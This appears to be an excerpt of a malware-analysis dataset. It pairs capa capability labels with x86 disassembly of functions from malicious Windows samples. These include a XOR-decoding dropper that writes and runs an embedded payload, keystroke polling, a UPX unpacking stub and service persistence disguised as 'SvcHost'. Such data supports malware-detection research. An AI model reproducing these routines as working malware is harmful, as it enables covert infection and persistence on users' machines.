joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10039652
Capabilities:
Delete registry key

Disassembly:
mov eax, 0x100630a4
call fcn.10061438
sub esp, 0x14
push ebx
push esi
mov byte [ebp - 0x14], cl
mov ebx, edx
mov dword [ebp - 0x1c], 0x44bb
cmp dword [ebp - 0x1c], 0x47f8
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ebx
jle 0x100396bb
xor edi, edi
xor esi, esi
mov dword [ebp - 0x18], esi
mov ebx, esi
mov esi, 0x70f8
mov eax, ebx
mov ecx, 0x1007fdb8
or eax, edi
cdq
push edx
push eax
call fcn.1000e5de
dec ebx
dec esi
jne 0x1003968b
mov esi, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x6b9a
jl 0x10039684
inc edi
cmp edi, 0x2f49
jl 0x1003967f
mov ebx, dword [ebp - 0x20]
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x4173
jge 0x100396f6
mov edx, str.jokrjaso_adrtxsqe_mpngx_xpvfctpph_zihpjx
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x100396f6
cmp byte [ebp - 0x14], 0
je 0x1003970d
cmp byte [ebx], 0
je 0x10039729
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x10039729
push 0x2682
push 0xee9
push 0x2010
push 0x1ad1
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1003a444
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov byte [esp + 8], dl
push esi
test cl, cl
je 0x1003a498
test dl, dl
je 0x1003a46d
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x1003a4cd
push ecx
mov cl, 1
call fcn.10037e51
pop ecx
jmp 0x1003a4cd
push ecx
lea eax, [esp + 0xf]
mov byte [esp + 0xf], 0
push eax
push ecx
push ecx
push 0x6176
sub esp, 0xc
mov ecx, 0x1477
push 0x58e0
push 0
call fcn.1003b776
add esp, 0x28
jmp 0x1003a4cd
cmp byte [ebp + 8], 0
je 0x1003a4aa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x1003a4cd
mov edx, dword [ebp + 0x14]
mov dword [edx], 0
cmp dword [edx], 1
jge 0x1003a4cd
mov esi, dword [ebp + 0xc]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [edx]
cmp dword [edx], 1
jl 0x1003a4bb
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1003b00d
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
mov byte [ebp - 4], cl
push esi
test cl, cl
je 0x1003b035
mov esi, dword [ebp + 0xc]
mov dword [esi], 0
jmp 0x1003b02e
mov ecx, dword [esi]
mov eax, dword [edx]
or dword [eax + ecx*4], 0xffffffff
inc dword [esi]
cmp dword [esi], 2
jl 0x1003b024
jmp 0x1003b040
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003b8dc
Capabilities:
Encode data using xor
Get system information on windows

Disassembly:
mov eax, 0x1006315d
call fcn.10061438
sub esp, 0x18
mov byte [ebp - 0x18], dl
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
test dl, dl
je 0x1003b926
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x1003b915
push 1
push 0x315a
push ecx
push 0x5861
call fcn.10038ed2
add esp, 0x10
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x20], 0x2d48
cmp dword [ebp - 0x20], 0x2dbb
jle 0x1003b979
xor edi, edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov ebx, esi
mov esi, 0x7022
mov eax, ebx
mov ecx, 0x1007fdb8
xor eax, edi
cdq
push edx
push eax
call fcn.1000e5de
dec ebx
dec esi
jne 0x1003b944
mov esi, dword [ebp - 0x1c]
inc esi
mov dword [ebp - 0x1c], esi
cmp esi, 0x2ec4
jl 0x1003b93d
inc edi
cmp edi, 0x7467
jl 0x1003b938
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push ecx
mov byte [ebp - 0x12], 0
lea edx, [ebp - 0x12]
push 0x3235
xor cl, cl
call fcn.1003b6ab
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x2a0e
pop ecx
pop ecx
jge 0x1003b915
mov edx, str.jgplk_txkvfw_ztvthm_rciln_mcfwuzbgf
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x1003b915
Function at 0x1003bf2e
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10063193
call fcn.10061438
sub esp, 0x34
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x1003bffc
mov dword [ebp - 0x24], 0x98815cbc
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x28], 7
push 1
call fcn.1000e8c0
xor ebx, ebx
lea ecx, [ebp - 0x34]
push 1
mov dword [ebp - 4], ebx
call fcn.1000e8c0
xor edx, edx
inc edx
mov byte [ebp - 4], dl
mov dword [ebp - 0x20], 0xa7eb8e13
mov dword [ebp - 0x18], ebx
jmp 0x1003bf94
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov dword [eax + ecx*4], 0x56e348cc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003bf84
mov dword [ebp - 0x18], ebx
jmp 0x1003bfae
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1003bf9e
push 0x33b2
push ecx
lea eax, [ebp - 0x20]
xor cl, cl
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x78a1
lea edx, [ebp - 0x28]
call fcn.1003bbe0
add esp, 0x1c
lea ecx, [ebp - 0x34]
call fcn.1000e943
lea ecx, [ebp - 0x40]
call fcn.1000e943
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
xor ebx, ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x1003bfeb
mov dword [ebp - 0x1c], 0x7b39
cmp dword [ebp - 0x1c], 0x7e2f
jle 0x1003c05c
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov ebx, edi
and ebx, esi
mov esi, dword [ebp - 0x28]
mov eax, ebx
mov ecx, 0x1007fdb8
xor eax, esi
cdq
push edx
push eax
call fcn.1000e5de
inc esi
cmp esi, 0x3c81
jl 0x1003c027
mov esi, dword [ebp - 0x18]
inc edi
push 0
pop ebx
cmp edi, 0x28bc
jl 0x1003c01d
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x25f5
jl 0x1003c01b
push ebx
push 0x16f6
push 0x2627
push ebx
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1c], 0x77e5
jge 0x1003bfeb
mov edx, str.awfe_fhldc_rtpns
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x1003bfeb
Function at 0x1003c0b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1006319d
call fcn.10061438
sub esp, 0x1c
mov byte [ebp - 0x18], dl
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
test dl, dl
je 0x1003c197
mov dword [ebp - 0x24], 0x1f89
cmp dword [ebp - 0x24], 0x21b9
jle 0x1003c141
xor esi, esi
mov dword [ebp - 0x20], esi
xor edi, edi
mov dword [ebp - 0x1c], edi
mov ecx, edi
mov dword [ebp - 0x28], esi
xor ebx, ebx
shl esi, cl
xor edi, edi
lea eax, [edi + ebx]
mov ecx, 0x1007fdb8
xor eax, esi
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x1002
jl 0x1003c0f3
inc ebx
cmp ebx, 0x8021
jl 0x1003c0f1
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x5ae
jl 0x1003c0e8
inc esi
mov dword [ebp - 0x20], esi
cmp esi, 0x4324
jl 0x1003c0e3
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
mov eax, dword [ebp + 8]
cmp byte [eax], 0
je 0x1003c15f
push 0x5c25
push ecx
push 0x6da9
push ecx
xor dl, dl
call fcn.1003998e
add esp, 0x10
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x1c62
jge 0x1003c17b
mov edx, str.reoaphg_tshlytz_kofrxh_kerboqoi_huqfing_ccdbmazs_aleiv_zfwfzinu_rpxkgh_dklc
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x1003c1c0
push 0x58ca
push 0x13a8
push 1
push 0x2e44
push 0x417a
push 1
lea edx, [ebp - 0x11]
mov byte [ebp - 0x11], 0
xor cl, cl
call fcn.1003b9ce
add esp, 0x18
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003c1de
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x100631a7
call fcn.10061438
sub esp, 0x18
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], edi
mov byte [ebp - 0x14], cl
je 0x1003c32a
mov dword [ebp - 0x1c], 0x7e6a
xor esi, esi
cmp dword [ebp - 0x1c], 0x7ebd
jle 0x1003c28b
push esi
push 0x9f4
push esi
push 0x1dfa
call dword [sym.imp.USER32.dll_SetTimer]
mov ebx, esi
mov dword [ebp - 0x18], esi
mov eax, esi
mov dword [ebp + 0xc], esi
mov edx, ebx
mov ecx, eax
shl edx, cl
mov edi, esi
mov dword [ebp - 0x24], edx
mov ebx, esi
mov esi, dword [ebp - 0x24]
mov ecx, ebx
mov eax, edi
shl eax, cl
mov ecx, 0x1007fdb8
xor eax, esi
cdq
push edx
push eax
call fcn.1000e5de
inc ebx
cmp ebx, 0x854
jl 0x1003c241
inc edi
push 0
pop esi
cmp edi, 0x73e3
jl 0x1003c23c
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp - 0x18]
inc eax
mov dword [ebp + 0xc], eax
cmp eax, 0x2f5e
jl 0x1003c231
inc ebx
mov dword [ebp - 0x18], ebx
cmp ebx, 0x4ada
jl 0x1003c22c
mov edi, dword [ebp - 0x20]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], 0x7dc0
jge 0x1003c2c7
mov edx, str.qfnq_nrphwfrc_owosnuhlf_jhvbeeiqz_jevllce_mqzbaf_spmvvj_doygmyy_wvsukva
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x1003c2c7
cmp byte [ebp - 0x14], 0
je 0x1003c2f2
mov edx, dword [ebp + 0x10]
mov dword [edx], esi
cmp dword [edx], 4
jge 0x1003c366
mov esi, dword [ebp + 0x14]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xca4f833f
inc dword [edx]
cmp dword [edx], 4
jl 0x1003c2de
jmp 0x1003c366
mov edx, dword [ebp + 0x24]
cmp dword [edi], esi
jne 0x1003c310
cmp dword [edx], esi
jne 0x1003c2ff
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edx]
mov eax, dword [edx]
mov eax, dword [edi]
mov eax, dword [edx]
mov eax, dword [ebp + 0x1c]
cmp dword [eax], esi
je 0x1003c313
xor esi, esi
inc esi
mov ecx, dword [edx]
mov eax, dword [edx]
add ecx, 0x7606
xor edx, edx
add ecx, esi
cmp ecx, eax
setl dl
mov dword [edi], edx
jmp 0x1003c366
cmp byte [ebp + 8], 0
je 0x1003c349
push 0x2569
push 0
push 0x2e4
push 0x16f4
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x1003c366
mov edx, dword [ebp + 0x18]
xor esi, esi
mov dword [edx], esi
cmp dword [edx], 2
jge 0x1003c366
mov edi, dword [ebp + 0x20]
mov ecx, dword [edx]
mov eax, dword [edi]
mov dword [eax + ecx*4], esi
inc dword [edx]
cmp dword [edx], 2
jl 0x1003c358
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003c69f
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x100631bb
call fcn.10061438
sub esp, 0x18
push ebx
push esi
mov dword [ebp - 0x20], 0x6970
mov eax, ecx
cmp dword [ebp - 0x20], 0x6cbe
mov esi, 0x1007fdb8
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], eax
jle 0x1003c71c
xor edi, edi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov dword [ebp - 0x18], ecx
shl eax, cl
mov ecx, esi
and eax, ebx
and eax, edi
cdq
push edx
push eax
call fcn.1000e5de
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x9e1
jl 0x1003c6da
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x17b8
jl 0x1003c6d5
inc ebx
cmp ebx, 0x70dd
jl 0x1003c6d0
inc edi
cmp edi, 0x4935
jl 0x1003c6ce
mov eax, dword [ebp - 0x1c]
cmp byte [ebp + 0xc], 0
je 0x1003c72d
mov dword [eax], 0x9ae4f78d
jmp 0x1003c88c
mov dword [ebp - 0x14], 0x7c1b
cmp dword [ebp - 0x14], 0x7ffd
jle 0x1003c78c
push 0xe2a
push 0x22c1
push 0xdc4
call dword [sym.imp.GDI32.dll_LineTo]
xor edi, edi
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov eax, ebx
shl eax, cl
mov ecx, esi
xor eax, edi
cdq
push edx
push eax
call fcn.1000e5de
mov ecx, dword [ebp - 0x18]
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x1526
jl 0x1003c75b
inc ebx
cmp ebx, 0x68fd
jl 0x1003c756
inc edi
cmp edi, 0x5856
jl 0x1003c754
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x7ab3
jge 0x1003c7c6
mov edx, str.mbuqtcgb_swhylv_mqtgw
mov ecx, esi
call fcn.100113ff
jmp 0x1003c7c6
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0x7766
cmp dword [ebp - 0x1c], 0x7aca
jle 0x1003c82c
xor edi, edi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov dword [ebp - 0x18], ecx
cdq
idiv ecx
mov ecx, ebx
mov eax, edi
sub ecx, edx
sar eax, cl
mov ecx, esi
cdq
push edx
push eax
call fcn.1000e5de
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x52fa
jl 0x1003c7e8
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x39e4
jl 0x1003c7e3
inc ebx
cmp ebx, 0x15bf
jl 0x1003c7de
inc edi
cmp edi, 0x776a
jl 0x1003c7dc
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1c], 0x76cf
jge 0x1003c869
mov edx, str.ajedipos_ygmu_uzazys_jfccq_kmttcyy_zvyxbgo_dcwup_sdurmuts_ldnide
mov ecx, esi
call fcn.100113ff
jmp 0x1003c869
mov edx, dword [ebp + 0x14]
mov dword [edx], 0
cmp dword [edx], 4
jge 0x1003c88c
mov edi, dword [ebp + 0x10]
mov ecx, dword [edx]
mov eax, dword [edi]
mov dword [eax + ecx*4], 1
inc dword [edx]
cmp dword [edx], 4
jl 0x1003c87a
mov dword [ebp - 4], 4
cmp dword [ebp - 0x20], 0x65c0
jge 0x1003c8a8
mov edx, str.mcwlsgeh_hsxzhfhn_rup_zolua
mov ecx, esi
call fcn.100113ff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003d6f9
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10063239
call fcn.10061438
sub esp, 0xc
cmp byte [ebp + 0x18], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
je 0x1003d799
mov dword [ebp - 0x14], 0x139f
cmp dword [ebp - 0x14], 0x15e2
jle 0x1003d75c
xor esi, esi
xor edi, edi
xor ebx, ebx
mov eax, ebx
mov ecx, 0x1007fdb8
and eax, edi
xor eax, esi
cdq
push edx
push eax
call fcn.1000e5de
inc ebx
cmp ebx, 0x3ae9
jl 0x1003d72e
inc edi
cmp edi, 0x10ef
jl 0x1003d72c
inc esi
cmp esi, 0x3afb
jl 0x1003d72a
and dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x1015
jge 0x1003d778
mov edx, str.ibczzera_phsbdnkt_uygzffxwr_yaeff
mov ecx, 0x1007fdb8
call fcn.100113ff
mov eax, dword [ebp + 0x10]
inc dword [eax]
jmp 0x1003d7b6
mov edx, dword [ebp + 0xc]
mov dword [edx], 0
jmp 0x1003d7b1
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xe6d54ec7
inc dword [edx]
cmp dword [edx], 4
jl 0x1003d7a4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003d7c7
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x10063243
call fcn.10061438
sub esp, 0x3c
mov byte [ebp - 0x18], cl
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
test dl, dl
je 0x1003d936
mov dword [ebp - 0x30], 0x78a4
cmp dword [ebp - 0x30], 0x7c7b
jle 0x1003d824
xor esi, esi
xor edi, edi
mov eax, edi
mov ecx, 0x1007fdb8
and eax, esi
cdq
push edx
push eax
call fcn.1000e5de
inc edi
cmp edi, 0x2be9
jl 0x1003d7f9
inc esi
cmp esi, 0x20f2
jl 0x1003d7f7
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
cmp byte [ebp + 8], 0
je 0x1003d8eb
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x1003d84c
sub esp, 0x10
xor dl, dl
push 0x4c0a
push ecx
push ecx
call fcn.1003a5c4
add esp, 0x1c
mov dword [ebp - 0x2c], 0x4fb9
cmp dword [ebp - 0x2c], 0x52e7
jle 0x1003d8d6
xor edi, edi
xor eax, eax
mov dword [ebp - 0x1c], eax
xor esi, esi
mov dword [ebp - 0x28], esi
mov ecx, esi
mov dword [ebp - 0x24], 0x5276
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ecx
lea eax, [esi + edi]
shl eax, cl
lea ecx, [ebp - 0x48]
cdq
push edx
push eax
call fcn.10001a7f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003d891
mov eax, dword [eax]
push eax
call fcn.10048643
pop ecx
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1000f099
mov ecx, dword [ebp - 0x20]
dec ecx
dec dword [ebp - 0x24]
mov dword [ebp - 0x20], ecx
jne 0x1003d877
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x788e
jl 0x1003d868
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x1a0c
jl 0x1003d863
inc edi
cmp edi, 0x1cc
jl 0x1003d85e
cmp dword [ebp - 0x2c], 0x4c05
jge 0x1003d8fb
push str.tlvt_yfby_yxidu_ivcjiuq_thcke_mxhwrlxr_ygye_tgke_wqqmfj_yyleqr_vkgvasx
call fcn.10048643
jmp 0x1003d8fa
push ecx
lea edx, [ebp - 0x12]
mov byte [ebp - 0x12], 0
mov cl, 1
call fcn.10039652
pop ecx
mov dword [ebp - 4], 2
cmp dword [ebp - 0x30], 0x77f5
jge 0x1003d91a
mov edx, str.ktdvwmk_rjiz_wvx_hpqxmsc_jqnk
mov ecx, 0x1007fdb8
call fcn.100113ff
jmp 0x1003d967
test cl, cl
je 0x1003d949
push 0
push 0xb54
call dword [sym.imp.GDI32.dll_SelectObject]
jmp 0x1003d967
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x1003d967
push 0x1e23
push 0
push 0
push 0x14cb
call dword [sym.imp.GDI32.dll_PolyPolygon]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414de8
Capabilities:
Encode data using xor

Disassembly:
xor dword [esi], ecx
add esi, 4
inc eax
cmp esi, edx
jne fcn.00414de8
or edi, ebx
ret

Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]
Function at 0x558360
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xf6000]
push edi
or ebp, 0xffffffff
jmp 0x558382
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x558389
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x558378
mov eax, 1
add ebx, ebx
jne 0x55839b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5583ac
jne 0x5583cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5583cb
dec eax
add ebx, ebx
jne 0x5583b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x558390
add ebx, ebx
jne 0x5583c7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x55841d
xor ecx, ecx
sub eax, 3
jb 0x5583e3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x558452
sar eax, 1
mov ebp, eax
jmp 0x5583ee
add ebx, ebx
jne 0x5583ee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5583bc
inc ecx
add ebx, ebx
jne 0x5583fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5583bc
add ebx, ebx
jne 0x558409
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5583fe
jne 0x55841a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5583fe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x55843c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x55842e
jmp 0x55837e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x55843c
add edi, ecx
jmp 0x55837e
pop esi
mov edi, esi
mov ecx, 0x6b81
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x55845a
cmp byte [edi], 0x13
jne 0x55845a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x55845f
lea edi, [esi + 0x155000]
mov eax, dword [edi]
or eax, eax
je 0x5584d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x169cd0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x169e38]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x55848c
mov ecx, edi
jns 0x5584bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x169e3c]
or eax, eax
je 0x5584d1
mov dword [ebx], eax
add ebx, 4
jmp 0x5584a9
call dword [esi + 0x169e44]
mov ebp, dword [esi + 0x169e40]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x55850b
sub esp, 0xffffff80
jmp 0x492488
Function at 0x401000
Capabilities:
Create service
Get common file path
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x40103b
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401102
mov esp, ebp
pop ebp
ret
push ebx
push esi
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4010e7
push 0x402128
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsdup]
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4010e7
push 0
push 0
push 0
push 0
push 0
push ebx
push 1
push 2
push 0x10
push 0xf01ff
push str.SvcHost
push str.SvcHost
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
push ebx
mov esi, eax
call fcn.00401110
add esp, 4
test esi, esi
je 0x4010e7
push 0
